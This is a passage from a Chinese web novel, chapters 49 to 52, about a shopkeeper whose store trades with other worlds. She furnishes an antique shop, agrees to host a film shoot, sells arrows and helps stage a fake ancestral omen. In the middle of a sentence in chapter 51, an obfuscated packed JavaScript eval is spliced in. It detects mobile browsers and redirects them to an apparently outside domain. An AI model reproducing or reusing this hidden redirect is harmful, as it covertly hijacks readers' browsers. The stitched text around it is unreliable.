当她看不出来，龙傲天心里也是想的，几次在她面前夸赞那位萧老板本事大，若能得她全心全意相助，势必如虎添翼。 如何能让一个女人全心全意助力一个男人，除了权利最稳妥的便是感情，用感情骗，用婚姻绑，不用付出利益就能得到她的死心塌地。 太子妃揣摩片刻，主动开口纳她进府，殿下那夜高兴的很，抱着她不撒手，直言太子妃大度有格局。 太子妃笑了笑，“萧老板本事大，想必是看不上侧妃之位的。” 龙傲天拧眉，摇摇头，迟缓说道：“不，她看不上的应该是孤。” 太子妃露出疑惑之色，忙追问：“那位萧老板……究竟是什么人？” 不怪她起疑，常常听龙傲天提起萧老板，口口声声说着萧老板于他助力甚多，甚至帮他躲过一场大劫。 然而每当她打听萧老板的具体情况，比如她家住何方、店铺开设在哪里、他们又是怎样相识相遇，龙傲天守口如瓶，半句不肯吐露。 “罢了罢了，婉儿，去备下一份厚礼，过两日等萧老板气消了，孤亲自登门去向她赔个不是。对了，一定得是大礼。” 萧妧妧有制盐工艺，手里掌握棉花种植的法子，说不定还有许多他想不到的好东西。 龙傲天重新评估萧妧妧的价值后，陡然意识到，像以前那样，拿些首饰珠宝或者区区几百两黄金敷衍应付的行为，很拿不出手。 49. 第 49 章 夜幕降临，小卖部结束营业，萧妧妧想连线博主却发现错过了直播时间，便歇了心思，转而专心布置新店。 堆在后门的物品杂七杂八，难以计数，需要她一件件搬到后院清理干净再登记成册，最后摆进店铺里。 萧妧妧怕磕着她的宝贝们，戴上手套小心翼翼挪动。 方几挪到架子边，兰花要摆在方几上，一匣子不知道材质的扇子通通展开铺在柜台里。 雕着神女奔月的玉瓶放多宝架上好看，有七十寸液晶显示屏那么大的双面绣屏需要独占斗柜。 萧妧妧怕摔了它们，细心贴上禁止触摸的提示牌。 黄色的掐丝珐琅瓶色彩明艳，最适合出现在阳光下，萧妧妧决定把它摆在窗前的矮柜上，又从院中折了两枝木绣球插进去装饰，郁郁葱葱的绿叶衬得珐琅瓶更娇嫩。 雕有事事如意字样的玉如意色泽清透，找来与之相配的展示架，萧妧妧将它摆在有射灯的柜子里，更显精致透亮。 一对雕了花鸟图的乌木挂屏保养不当，变得灰扑扑，看不出往日神采，萧妧妧一边念叨可惜，一边查找清理方法，简单擦去灰尘后，对称悬挂在店铺东墙上。 还有客人们随金子一起付给她的荷包，个个精致漂亮，她攒了七八个，全部洗净挂在挂钩上。 古朴又有意趣的老物件们入驻店铺后，萧妧妧真切感受到了历史的气息，这种感觉与她之前努力营造的古风表象截然不同，它更为真实、深沉。 至于那两把楠木圈椅，因空间有限，萧妧妧只得先将它们放在廊下，配一个圆凳充当桌子用。 仅仅收拾出一半的东西摆上，整个院子看起来已经很有韵味了。 萧妧妧站在院子中央，环顾四周，脸上洋溢着满足的笑容。 第二天周五，小卖部不营业，寄去鉴定中心的珠串也送到了，萧妧妧决定花一整天时间把店铺陈设定下来，顺便等博主上线直播。 她刚结束登记，正准备起身活动一下肩颈，门口传来清脆的声音。 “妧妧姐，妧妧姐你在店里吗？” 听到是云昭昭的声音，萧妧妧意外了一瞬，连忙放下手中的东西跑到门口。 更意外的是，不止有云昭昭，还有好久没见到的季随。 “你们怎么来了？” 萧妧妧惊讶两人竟然一起出现，还找到188号，请他们进来坐。 “今天周五，小月亮飞国外和她爸妈去游乐园玩，黎先生给我放假了。”云昭昭欢快答话，瞄一眼身后戴着墨镜，一脸冷淡的季随，又说：“半路遇见季先生，他说正好过来采风，我们就一起来了。” 季随先是望一眼院子，随后看向萧妧妧，礼貌颔首，询问道：“萧小姐，介意我在院子里拍几张照片吗？” 萧妧妧知道他是在为新电影选景，有事没事在南市各处转悠，自然不介意，抬手示意他随意拍。 云昭昭趁机走到萧妧妧身边，迫不及待地向萧妧妧邀起功来：“妧妧姐我想好店铺名字了，小卖部叫不倒闭，新店叫不破产，不过，卖古玩艺术品的话，我觉得叫不破斋更合适。” 萧妧妧轻声念叨了两遍新名字，仔细琢磨一会儿之后，不禁点头表示赞同。 “嗯，确实比‘不破产’要顺耳，而且没有什么不合适的谐音或者容易引起歧义的地方。”萧妧妧找不到一点毛病，当即拍板：“新店就叫‘不破斋’吧！” 哪怕知道萧妧妧做事一向果断利落，云昭昭都不由怔住。 有点太利落了，从拿到新店名到定下名字，总共只过去了两分钟，利落的稍显仓促。 云昭昭来时信心满满，这会反而没信心了，“要不……妧妧姐你再考虑下？我现在又觉得这名字太随意了，我再认真想想。” 作为把关的人没挑剔几句，云昭昭心里不安。 “不破斋？这名字很有意思。”季随从树下走到两人附近。 萧妧妧明知道季随是为了女主而附和，但男女主都说好，那就是真的好，男女主光环一起蹭！ “就这么定了，不破斋，嘿嘿。” 想了好久的名字接连得到肯定，还正式敲定当做妧妧姐新店的名称，云昭昭难掩心底的满足雀跃，顶着绯红脸颊，笑容腼腆。 店铺名称敲定，下一步需要□□件，萧妧妧选择APP上填写信息并提交申请，等下周过去领许可证即可。 云昭昭则趁机环视院子，几天没来，添了好多东西，原本留作卧房的两个房间打通，宽敞明亮。 阳光透过雕花窗格洒进去，里面的物件鲜活又美丽，远远的看一眼，即便不够真切清晰，云昭昭就已经挪不开目光了。 云昭昭有些不好意思地笑了笑，略带几分期待的问：“妧妧姐，我可以看看你的新店吗？” 住进萧家后她一直早出晚归，没课的时候还要瞒着大家出去兼职，有时候想来帮妧妧姐看一会铺子都挤不出时间。 难得放假，云昭昭想来帮忙，结果小卖部根本不营业，她毫无用武之地。 萧妧妧把几扇木门全部敞开，热情地招呼：“随便看，顺便给我提提意见，看看哪里摆得不合适。” 手串数量繁多，好看归好看，但过于精巧了些，萧妧妧想不到要给它们安排在哪里，才不会让它们在大件古董中黯然失色、失去应有的关注。 云昭昭接到任务，拍着胸脯保证会给出意见，而后踏进店铺。 “哇……” 刚一进门，云昭昭便被眼前的景象惊艳，情不自禁发出赞叹声。 店内陈列着各式各样的古朴物件，或华丽、或精致、或素雅、或贵气。 “怎么不进去？” 萧妧妧看她被施了定身咒一般，堵在门边好久，歪头凑过来。 云昭昭艰难地咽了咽口水，语气胆怯，“它们看起来太贵重了，我不敢进。” 说着，她的目光不由自主投向角落。 那里放着一台半圆形桌，桌上赤裸裸摆着一个精美的粉色瓷罐，罐子里插了几只百合，她 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萧妧妧不禁感到诧异，微微挑起眉梢，季随不会是看上她的铺子了吧？ 心底有了些猜测，萧妧妧莫名有点小激动。 “季先生学摄影的吧，从摄影师角度来看，您觉得我这铺子陈设得怎么样？还有哪里需要改进？” 季随的目光完完整整地落在了萧妧妧身上，开始认真地审视起她来。 萧妧妧经营艺术品店，意外的是，她对于参观者们对店内艺术品的看法似乎并不怎么在意，反而一直在询问关于店铺的陈设和整体环境方面的问题。 只有两种可能，其一是萧妧妧对于店铺中的艺术品充满了极度的自信心，以至于她认为根本无需他人给予任何建议或评价； 而另一种情况则是她对艺术品根本不上心，无论它们品质优劣都无关紧要。 当然，也不排除萧妧妧在轻视他，认为他不懂艺术品，无需征询意见。 季随环顾一圈，诚恳回答：“我挑不出问题，这是一间有独特韵味的铺子。” 他对古董文物又或是艺术品的了解的确不够深刻，但不妨碍他能感受，懂欣赏。 萧妧妧险些压制不住自己上扬的嘴角。 能够得到他人对于自身审美水平，以及辛勤劳动成果的充分肯定，这感觉实在太爽了，尤其给予她肯定的是玩艺术的季随，喜悦更是加倍递增。 季随抬起相机，示意整间店铺，“介意我多拍几张吗？” 萧妧妧：“季先生是打算发在网上？” 季随迟疑了片刻，如实告知：“不，其实不破斋很美，我是希望能在这里取景。” “取景？”萧妧妧低呼出声。 惊喜来得猝不及防，她正发愁找不到合适的机会跟季随搭上关系，等时机合适了，她也好自然而然的提出投资电影的想法，谁知道愁了没几天，季随居然主动送上门来。 机会难得，萧妧妧紧握拳头，眸子亮如星辰。 50. 第 50 章 季随的目光自始至终放在店铺里，听到萧妧妧惊呼，只当她没理解，细致解释一遍。 “对，可能会借用萧小姐的店铺拍摄影片……” “好啊好啊，我当然是愿意的，现在就可以答应你。” 萧妧妧不等他说完，迫不及待地点头答应。 季随脸上露出一丝意外的神色。 一般来说，古董铺、奢侈品店以及艺术品店不太欢迎剧组打扰，一是影响正经生意，二是怕损坏了店内贵重商品，引发不必要的纠纷和麻烦。 “萧小姐真的考虑清楚了？剧组的预算有限，能批下来的租金可能不会很高。” 投资方面有限制，季随不得不在选择外景这一环节花费更多的精力和时间。 他不仅需要找到价格实惠的场地，确保其能够与影片所期望展现的气质相契合，同时还兼顾程序性的问题。 连着半个月走访采风，不破斋是最符合他要求的，更妙的是，店铺老板萧妧妧十分爽快，顺利到季随有些不敢置信，反复向她确认。 “当然，我不在意租金，能在我的不破斋取景，怎么不算一种宣传呢？到时候吸引粉丝打卡，怎么说也是人气嘛。” 听到萧妧妧乐观的话语，季随一时间竟不知该如何回应。 每年产出的影视剧多如牛毛，然而真正能够火爆出圈、广受观众喜爱的作品却是凤毛麟角，屈指可数。 在此前提下，想要通过一部影视作品带火取景地，并成功吸引大量粉丝前去打卡，这种情况实在是少之又少，堪称罕见。 萧妧妧的想法可以说有些不切实际。 季随思考着，是否应该跟萧妧妧把话说清楚，又听她兴致勃勃接话：“对了，要拍什么类型的片子？说不定我还能参与投资呢。” 话题转变得毫无预兆，萧妧妧总算借着闲谈说出心里话，她眨着眼睛去看季随，等他表态。 季随无奈地扯动了一下嘴角，显然并未当真。 类似的寒暄他听过太多，看似充满希望，最终无不是不了了之，不过是名利场上顺嘴一提的社交辞令。 他不觉得一个寂寂无名的导演能够得到谁的青睐，哪怕他履历还算漂亮，可在真金白银面前，漂亮履历不值一提。 季随早在立项之初就决定独自承担拍摄成本，当然，这并不意味着他要拒绝其他公司或者个人的投资，只是他不相信萧妧妧能出得起相应的资金。 电影是烧钱的艺术，显而易见，萧妧妧不像是能出得起百万千万资金，并承受得住看水花听响声的坏结果。 季随的脑海中快速地将这些念头过了一遍，面上表情仍是淡淡，他没接下投资的话题，转而客气道：“谢谢萧小姐支持，等项目启动再拟协议，详谈租用场地的细节吧。” 萧妧妧见他对投资之事只字不提，心中不禁有些失落，但她很快调整好心态。 “好啊，那到时候再说吧。” 不破斋成了男主新电影的取景地，这本身就是一个绝佳的契机，以后想谈投资合作自然有了更多的可能性和机会。 想到这里，萧妧妧不自觉地捏紧了拳头。 这部电影有着高达40亿票房的潜力，千载难逢的良机，萧妧妧想从中分一杯羹，必须付出同等比例的投资，简单来说，至少是千万级别的资金投入进去。 当然，随便砸个几百万进去未尝不可，小赚也是赚，但在明确能获得高额回报的前提下，除非是脑子坏掉，否则谁愿意错失机遇？ 萧妧妧手里的现金三百多万，想要存到千万还得多多努力。 买房子的事可以放一放，一旦电影投资成功，赚来的钱别说买房子，别墅都能买一排。 萧妧妧恍恍惚惚盘算半天，忽然想起一件事，“古董铺子可以拍摄，包括院子，随便拍，但是小卖部不行。” 季随转头看到院子另一边的门，以及敞开的后门里隐约能看见小卖部内环境。 “萧小姐放心，不会影响小卖部营业。” 云昭昭好奇问：“为什么啊妧妧姐？不应该是古董铺的生意更重要吗？” 萧妧妧晃了晃食指，笑得神秘，“不，小卖部才是我的主业。” 云昭昭不解地挠头，难道小卖部能比卖古董艺术品更赚钱？ 季随又忙着在各个角度拍照，萧妧妧便回小卖部拿来一个红纸包塞上现金，回到院子里递给云昭昭。 “喏，谢谢昭昭帮忙取名，这是给你的红包。” 云昭昭错愕了一会，手脚慌乱地推拒。 “不不不，我不能收红包，只是取了名字而已……” 萧妧妧不理会她的推拒，拉过云昭昭的手，红包拍在她手心。 “收着吧，南市的规矩，请人取名字要包上大红包，图个顺顺利利、财源广进的好兆头。” 云昭昭听得一愣一愣，既然说是为了讨个吉利，她倒是不好再拒绝。 “谢谢妧妧姐。”云昭昭扭扭捏捏收下红包：“妧妧姐，我有礼物要给你，晚上我去找你。” 她做了一阵子日结的兼职，还有黎家周结的补课费，云昭昭这半个月下来攒了一笔小钱。 今天一早，她先去准备了礼物才满心欢喜的来小卖部帮忙，结果礼物没来得及送出手，她先收到了萧妧妧的红包。 云昭昭心里很清楚，妧妧姐是担心她抹不开面子，变着法子给她生活费。 “好啊，我好久没收礼物了，”萧妧妧表达对礼物的期待，随即转移话题，“对了，周日几点集合？黎行墨只邀请我跟你们去爬山，到现在也没通知集合时间地点。” 云昭昭顿时顾不上感动了，诧异问：“什么？难道不是妧妧姐邀请的学长？” 萧妧妧看她反应不对劲，摇头答：“当然不是，我和他不熟啊，他说你们约好了要爬山，他替你来邀请我，我还纳闷怎么不是你来邀请，按理说也是我们俩的关系更好吧。” 云昭昭面色微变，紧咬着嘴唇，像一只被惹恼的红眼兔子。 萧妧妧：“你们怎么了？” 云昭昭气鼓鼓告状：“学长他骗人！” 黎行墨约她周末出门，云昭昭直说她和萧妧妧有约，果断拒绝，结果没一会，黎行墨又跑来说他已经得到了萧妧妧的邀请，周末一起夜爬看日出看夜景，问她要不要加入。 既然是妧妧姐邀请了黎行墨，云昭昭自然是没话说的，一口应下。 萧妧妧听懂了，保持沉默。 合着是两头骗啊。 果 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“喏，这些都是给你的，尝尝看。盛芳阁的糕点、九妹蜜饯的果脯、丽云酒店的奶酥和烧鹅，可好吃了，是我这几日在京城寻到的老铺子，听说很受欢迎。” 萧妧妧一惊，“盛芳阁？丽云酒店？天呐……” 苏娇娇看向她，“怎么了？你看起来好惊讶。” “我当然惊讶了，这几家是京城的百年老字号，我在京城读书的时候每次去都排不上队，现在好了，托娇娇姐的福，我也是吃上了百年前老字号的手艺。” 苏娇娇心里有股奇异的感动和感慨，这一瞬间好像和萧妧妧的联系更紧密了一点。 她们生活在同一天空下，出生在同一国家，说着同样的语言，走过同一个城市，现在还品尝过同一种味道。 萧妧妧熟知过去，苏娇娇向往未来。 苏娇娇不禁感叹：“听你描述百年后的京城……好奇特的感觉。” 萧妧妧心思一动，打开手机给她展示她镜头里的京城。 “娇娇姐随便看，我决定回南市后，花了一周时间把京城逛了个遍，拍了不知道多少照片视频，你看看，是不是看起来和百年前很像？” 苏娇娇放下包裹，抱着手机看得入神，划到下一张图片时，倏然呆住。 她咦了一声，赶紧翻出自己带来的礼盒，小心翼翼抱出它，摆在柜台上。 苏娇娇举止奇怪，神情有几分迟疑与思考，萧妧妧注意到不对劲，疑惑地凑过去看。 这一看，萧妧妧瞬间瞪大了眼睛，险些惊掉下巴。 “娇娇姐，你带来的这件白玉瓶，怎么和……” 萧妧妧以为自己看错了，揉揉眼睛反复比对之后，这只瓶子和博物馆里陈列的展品确实一模一样。 如果说两者之间存在差异的话，苏娇娇手里的白玉瓶更加光滑细腻、油润透亮一些，看起来养护得极好。 “你托我购置些古董，喏，我手里这件就是，它是我从一个长住京城的伯伯手里买来的，没想到……”苏娇娇不禁面露惊讶之色。 萧妧妧震惊得直挠头，搞不清楚眼前的状况。 不是……真就是博物馆一件我一件呗？ 51. 第 51 章 苏娇娇稍显为难，没想到自己精挑细选的宝贝和博物馆的馆藏撞上了。 “这……萧老板，你说这该怎么办？” 萧妧妧同样为难，不是已经开启了防重叠功能，为什么苏娇娇还能带来一模一样的文物？ 萧妧妧想不明白，或者说不敢深想，便把问题丢给系统。 【防重叠功能已启动，无任何异常】 系统反应迅速，当即给出答案。 无异常，只有两种可能，苏娇娇带来的文物在三次元是独一无二的真货，所以系统没有把它消消乐； 另一种可能，苏娇娇手里这件是赝品，博物馆里的是真品，一真一假，自然不算违规。 【系统888是总系统唯一认可的官方交易系统，交易过程中严禁出现任何假冒伪劣产品、有毒有公害产品、赝品……】 “等等，你是说，赝品和假货无法带进店铺交易？”萧妧妧一愣，忙不迭打断它。 【……是的】 系统的机械音迟缓传来。 那么……真相只有一个！ 萧妧妧震惊之余，稀罕地抱紧博物馆同款古董，好一会才冷静下来，失落地垮下肩膀。 博物馆的那件不消失，甭管手里这件古董是真是假，都只能是假的。 苏娇娇看她半晌不说话，面色变来变去，心中懊恼不已，索性夺过瓶子塞回盒子里。 “这事闹得……你放心吧，我回去重新挑一个。” 萧妧妧忙拦住她，“不，娇娇姐，我想留下它。” 毕竟是真古董，比博物馆里的还真，好不容易到她手上，萧妧妧没理由错过。 “我现在有得是金子，不怕。”萧妧妧拍着胸脯，喜滋滋说。 哪怕卖不出去砸在手里，萧妧妧也是乐意的，她现在真不担心金子，不仅不担心，还多添了6000克交给苏娇娇，请她继续代购。 苏娇娇见她不是开玩笑，长舒一口气。 说实话，这么大件东西不好出手，萧妧妧要是退回来，她真不知道该怎么处置它。 苏娇娇暗自反省，下回找些精巧的玩意。 “对了，你上回给我的东西……能不能再卖我些？” 古董的话题暂且放过，苏娇娇扭扭捏捏地凑到她耳边低语。 萧妧妧挠头，“上回……哪个东西？” 萧妧妧卖出去送出去的东西一大堆，一时半会想不起来。 苏娇娇不好意思说，红着脸跑到货架边，抱来两包卫生巾。 “喏，就是它们。” 萧妧妧恍悟，随即嘿嘿笑，看吧，她就说苏娇娇一定会喜欢。 “这几包不行，我们这里的卫生巾塌房了，你试试医用卫生巾，效果差不多的。” 萧妧妧抽走她手里的几个大品牌卫生巾，把这两天才到货的新产品给她。 苏娇娇抱着一箱子卫生巾脸发烫，“谢谢妧妧，两包足够了，明天要回云城，我的行李装不下它们。” 萧妧妧只好作罢，拆开箱子，日夜用的各挑出一包塞进她手里。 苏娇娇离开了，萧妧妧继续前面没忙完的事。 龙傲天一股脑塞来许多东西，大的小的玩的用的，摆进铺子里售卖的那些已经登记完成，还有不少没来得及清理和登记的。 顺手把博物馆同款青白玉瓶塞进空间，萧妧妧撸起袖子一顿忙。 天色要黑不黑的时候，萧妧妧忙出一身汗，总算处置妥当，没等她歇一会，小卖部后门又传来动静。 “萧老板在不在？有件急事要拜托你。” 难得见申明月急急忙忙找来，萧妧妧好奇问：“出什么事了？” 申明月叹气，递来一张纸。 “大宇朝派来探子，已经进了升州城，我总觉得不妙，想给舅舅们报信，可他们不相信父皇敢对升州动手。” 萧妧妧展开宣纸一看，上面写着“升州，危”三个大字。 “你需要我怎么做？” 申明月松了一口气，还好萧老板愿意帮忙。 她凑到萧妧妧耳边，小声嘀咕。 萧妧妧听着听着，不由看向结界，那里显示的画面正是申明月提到的祠堂。 “……这合适吗？祭祀的时候扔出去，万一把人吓出问题怎么办？” 申明月不以为然：“不会的，自家祠堂，还能怕自己老祖宗不成？” 这个理由很强大，萧妧妧找不出毛病，“好，我可以配合你，不需要你趴房梁上。” 小卖部可以调整范围，她两次操作，好巧不巧都是帮她们装神弄鬼，萧妧妧不由想笑。 “太好了，谢谢萧老板！只是可惜找不到外祖父的手稿，这三个字是母亲临摹的，希望舅舅们看不出来。” 萧妧妧灵机一动，“不如换成我这里的宣纸。” 申明月眼珠子一转，一下子明白过来。 “对啊，等以后我召集到人手生产它们，就说是外祖父托梦告诉我的方子。” 造纸的生意必须得带上申家人，既是弥补受到连累的族人，也是感念他们出手搭救，只是要把生意摆在明面上，有些细节不好解释。 萧妧妧随口一提，申明月一下子想通了许多，难题迎刃而解。 萧妧妧：“不止，宣纸在你那里足够特殊，不是更能坐实是你祖父显灵？” 粗糙计划得以完善，申明月兴奋得语气急促，“我这就让母亲重写一遍。” 她转身要跑，才迈开两步，申明月又折返回来。 “萧老板，我一直想问的，你柜台边放着的那一桶，是箭支吗？” 玻纤箭倒插着，锋利箭头朝上，萧妧妧以为申明月没注意到，想着找个合适时机推销一下，结果是申明月先开口。 萧妧妧喜不自禁，抽出两支递给她，“一个是玻纤箭，一个是碳混箭，我们这里独有的技术，可以给你带回去试试看。” 杀过人的都知道，兵器趁手很重要，萧妧妧拿不准古代人喜欢用哪个适合用哪个，索性把市面上能买到的都买了一些，每种各5000支。 申明月惊喜极了，捧着两支箭爱不释手，一会摸摸箭头，一会掰掰箭身，得到允许，她抓起箭支往花瓶里投。 “好箭！” 分别感受过后，申明月眼睛闪着晶光，眼巴巴望着满满一桶的箭支。 萧妧妧高兴地想搓手，但她有偶像包袱，艰难维持稳重形象。 “要多少？我这里一共三万支，不够的话，过几日我再给你备一些。” 同城配送，只要她肯加价，明天天亮就能送到店里。 申明月冷静下来，先思考当前的局势，再对己方的兵力进行一个大致的估量。 意识到父皇可能要出兵征讨，申明月当机立断前往申氏的武器库盘点了一番。 一进门，混杂着铁锈和尘埃气息扑面而来，申明月便知不妙，等她进库中盘点，不妙预感坐实了。 常用的弓箭数量最多，但箭支基本生锈腐坏，杀伤力不足。 长刀数量略少，因无人保养，早已失去了往日的锋利，钝得比不过菜刀。 除了弓箭和长刀之外，剩下的就只有一些破旧不堪、勉强能够被称之为农具的东西在滥竽充数。 申明月不禁感到一阵悲哀。 外祖父可是威震四方的武将，他所率领的申家军更是声名远扬，令敌人闻风丧胆，护得升州数十年的平稳。 而如今，申氏子孙却连一把完好的刀都拿不出手，曾经风光无限的申家军也已沦为一群残兵老将。 外祖父留下的部曲，多数让太平日子消磨掉了斗志，怕是怎么搭弓射箭都忘了。 申明月恨铁不成钢，但眼下最棘手的问题是，她不仅缺少人手，资金方面也是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14643329|154753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捉襟见肘，更要命的是时间紧迫。 以目前申氏一族的兵力来看，他们面临的压力巨大。 “劳烦萧老板帮忙准备十万支，这三万支……”深思熟虑后，申明月缓缓开口。 萧妧妧知道她面临的难处，豪爽地大手一挥挥。 “你尽管全部拿走。钱的事以后再算，放心，它们不贵，十三万支五十两金子足够了。” 有萧妧妧的保证，申明月心里暖融融，忙不迭掏出荷包。 “五十两金我还是有的，现在就给萧老板。” 萧妧妧接过金子懒得看，直接丢空间，转而问她，“你带回去的东西卖得如何？” 说起轻松话题，申明月眉头舒展，神情有几分得意。 “母亲最近常在后院走动，已经卖出去三粒西多芬，萧老板肯定想不到，那么小小一粒，竟然有人出价一百两银子买它。 还有手持镜，意外的受欢迎，母亲拿不准价格，随口报了五百两银子，竟有许多婶娘找来。 母亲怕卖得太多叫不上价，这几日推说没货了，谁知其他府上的夫人小姐得知，捧着金子找了来。” 申明月长这么大从未见过如此之多的金银财宝，更确切地说，是她自己赚取回来的财富。 母女二人怀揣着忐忑不安的心情，尝试做生意，毕竟是她们从未涉足过商业领域，可谓是一窍不通，全靠萧妧妧口头指点，才磕磕绊绊卖出去五把手持镜。 好在结果不错，沉甸甸的银子塞了一箱，重得她们抱不动，主仆四人一起才抬回去。 那一晚，申明月抱着母亲，母亲抱着箱子，箱子里装着银子，两人坐了大半夜。 “可惜，浮光锦不好出手，它太贵了。”她失望的说。 萧妧妧拍拍她肩膀，安慰：“不着急，如果卖不出去，就拿去送人，总归是能派上用场的。” 申明月背后有一个庞大的家族，想把他们团结起来，得非费不少心思，更要费不少好东西笼络人。 申明月重重点头：“谢谢萧老板，我都明白的，母亲说了，如果真没人买它，我们可以送给族长夫人，也是我的大舅母，有大舅母支持，族长舅舅肯定不会反对我带走部曲。” 萧妧妧看她摇头晃脑，说得头头是道，琢磨怎么贿赂族人，心里好笑。 “那点料子不够做衣裳的，又过于粉嫩，不合适年长女性，我给你找些酱色或是绿色红色的高级水晶缎。” 申明月更高兴了，蹦了两下，欢快说：“大舅母爱翠色，族长舅舅爱看舅母穿绛色，萧老板可以帮忙准备这两种颜色的料子吗？” 萧妧妧掏出手机一查，刚好有这两种颜色，一口应下，选好数量和尺寸，当着她的面下单。 看申明月要离开，萧妧妧递去《古文释读》，让她一并带走。 “托你的福，这次一共赚了一百四十万，比预计的多出十万。” “原来真的能赚到钱啊。”申明月惊喜极了，嘟囔道：“萧老板这里真好，写几个字也能有钱拿。” 她忽然想到什么，眼眸一亮。 “萧老板，族中藏书有《古文释读》另外半册，你说……” 申明月在想什么，萧妧妧瞬间明悟，赶紧打消她的念头。 也就是这次开了先例，他们联合申请才能顺利拿到悬赏金，萧妧妧以后再想投稿，是要正儿八经写论文的，像这样写个答案交上去不合适。 论文那玩意，写没写过的人都不会想写。 申明月摇头叹气，“看来只能老老实实做我的生意了，我现在才知道，做买卖这么繁琐，但是赚到钱的感觉又好幸福啊。” 萧妧妧被她老气横秋的样子逗笑，随口问：“为什么不开一个铺子？我记得你说过，你母亲在升州有些产业的吧？” 申明月像忽然见到太阳的向日葵，唰一下昂起脑袋，向着太阳转动。 52. 第 52 章 申明月缺钱缺人，许多事情只能自己多上点心，可眼下有更重要的事，难免分身乏术。 她正愁生意该如何平稳继续下去，萧妧妧的提议给了她新的思路。 是啊，为什么不开个铺子，请母亲留在庄子上的陪房打理？ 申明月直跺脚：“对啊对啊，我怎么没想到。” 为了打通门路，母女二人前期难免要多操心，后来忙着忙着，赚钱的感觉太快乐了，舍不得丢开手。 萧妧妧摸摸她脑袋，可怜孩子，这是刚出宫还没见过什么世面呢。 “不会带团队你就只能干到死，能放手放手，别给自己找不痛快。” 申明月激动了一会，发现关键问题：“可是……萧老板，你说我该卖些什么好？” 萧妧妧眼珠子一转，道：“卖琉璃吧，这东西不愁没人要，顺带卖些手持镜什么的，它们来钱快，等你攒够了钱，我再把琉璃制作的技术卖给你，那可是会下蛋的金凤凰，只要你有人，想生产多少就能生产多少。” 申明月眨巴丹凤眼，指着自己，不可置信的问：“萧老板真愿意把琉璃的方子卖给我？” 萧妧妧点头，给她画大饼：“努力赚钱吧，我这里还有好多好东西呢。” 申明月握了握拳头，克制住激荡的心情，要不是人手不够，恨不得马上张罗起来。 “萧老板，麻烦你多为我准备点琉璃和手持镜，等那边事了，我立刻安排开铺子的事。”顿了顿，她得意仰头，说：“店铺名我想好了，叫不倒闭小卖铺。” 嗯，怎么不算把分店开到异世界了呢。 申明月念叨着总店分店，嗤嗤笑，笑完，她留意到前来宗祠的申氏族人越来越多，懊恼的说：“时间来不及了，我先回去一趟，萧老板你等等我，很快的。” 萧妧妧摆摆手，让她放心回去，然后自己盘腿坐在结界前看热闹。 这置景，这氛围，可比大制作电视剧好看多了。 萧妧妧抓了一把瓜子，看得津津有味，要抓第二把瓜子的时候，申明月已经换了一身正经衣服钻进小卖部。 她抖了抖宣纸，又吹了两下才递来。 “待会麻烦萧老板看我眼神，拜托了。”申明月躬身作揖。 萧妧妧擦了擦手，接过宣纸，“放心吧，保证完成任务。” 申明月深呼吸，转身回到申氏祠堂，远远站在队伍里。 申氏一族掌祭祀的一向是族中女性，并不忌讳女性族人参与祭祀，申家媳妇姑娘都可以前来，申明月和母亲挂的申氏旁支名头，是以能出现在祠堂外围。 这次主持祭祀的是申明月的姨婆，也是她母亲的亲姑姑。 萧妧妧设定好数值，眼巴巴瞅着另一个位面的祭祀仪式。 其实很无聊，但架不住场面宏大，她听了一阵子，大约是在念祭文，向祖宗汇报族中要事，夸赞族人成就，再祈求祖宗保佑，洋洋洒洒一长串话。 最后的流程是重中之重，申氏请来了祝巫跳舞娱祖，萧妧妧没见过这世面，看得目不转睛。 等祝巫跳完一个回合准备撤走，她注意到申明月挤了挤眼睛，嘴巴默念什么。 萧妧妧了然，赶紧将宣纸向结界挥扬。 有申明月配合一直念叨召唤口令，两个位面保持畅通连接，纸张轻而易举穿过结界，在半空中飘飘荡荡，缓慢下落。 申明月紧张极了，紧盯供桌方向，看宣纸成功夺走大家注意，长舒一口气。 结界这边，萧妧妧看宣纸顺利飘落，也安心了。 带头上香的族长最先发觉半空中的动静，不知从哪冒出来的纸飘落在祭品上，慢慢滑到桌案上。 族长舅舅面色一沉，想要叱责几句时，眸光一凝，看到了上面硕大的三个字。 “升州，危？” 话音一落，周遭族人无不是交头接耳，议论纷纷。 “怎么回事？这纸是哪来的？” “一派胡言，有申氏在，谁敢动升州？” “不对，我看得分明，那张纸是族长上香的时候从天上飘下来的。” “天上……祠堂上面什么也没有，莫要胡说。” “莫不是祖宗显灵了？” “噤声！听听族长怎么说。” 族人们吵嚷了一阵子，纷纷转头去看族长。 申明月站位偏僻，看不到族长舅舅什么神态，便与几位表姐妹传小话。 “城中有大宇朝的探子潜入，应是军中斥候，莫非祖宗所言的危是指这个？” 申明月的声音不高不低，不多会，身边的妇人和小姑娘们都听到了，一个传一个。 等族长和众位族老注意到这里的动静，申明月忽然带节奏惊呼。 “祖宗显灵了，祖宗显灵了！” 其他族人俱是呆愣住，好半晌跟着喊：“祖宗显灵了，显灵了。” 申明月看到族长舅舅环顾整个祠堂，望了望天，又看了看手里的宣纸，倏忽间，他像是发现什么，警觉地揉搓纸张。 申明月眼睛一眨不眨地盯着他，看他面色渐渐凝重，没多久，他放下纸张朝着祖宗牌位叩首。 萧妧妧挠了挠头，这应该算是成了？ 她去看申明月的反应，但显然，申明月无暇顾及小卖部，她得去盯着舅舅那边的态度。 两个位面没多久断开联系，萧妧妧只能看着一堵白墙猜测那边情况。 因为不放心，萧妧妧一直等到深夜，好在申明月还记着她，匆忙找来。 “成了成了，族长舅舅终于肯相信那是祖宗示警，派人去调查，只要大家警醒些，齐心协力，升州定能躲过一劫。”申明月小跑着进来，一进门嘴叭叭个不停，“这一招原是想着带走部曲的，可惜……只能另想法子了。” 她嘴里嘟囔着可惜，眼里却是闪烁着跃跃欲试的光芒，似乎装神弄鬼上瘾，还想找个机会试试。 萧妧妧神情微窘，总感觉小卖部莫名其妙开辟出一项不得了的新业务。 正走神，申明月走到柜台边，放下一团油纸包。 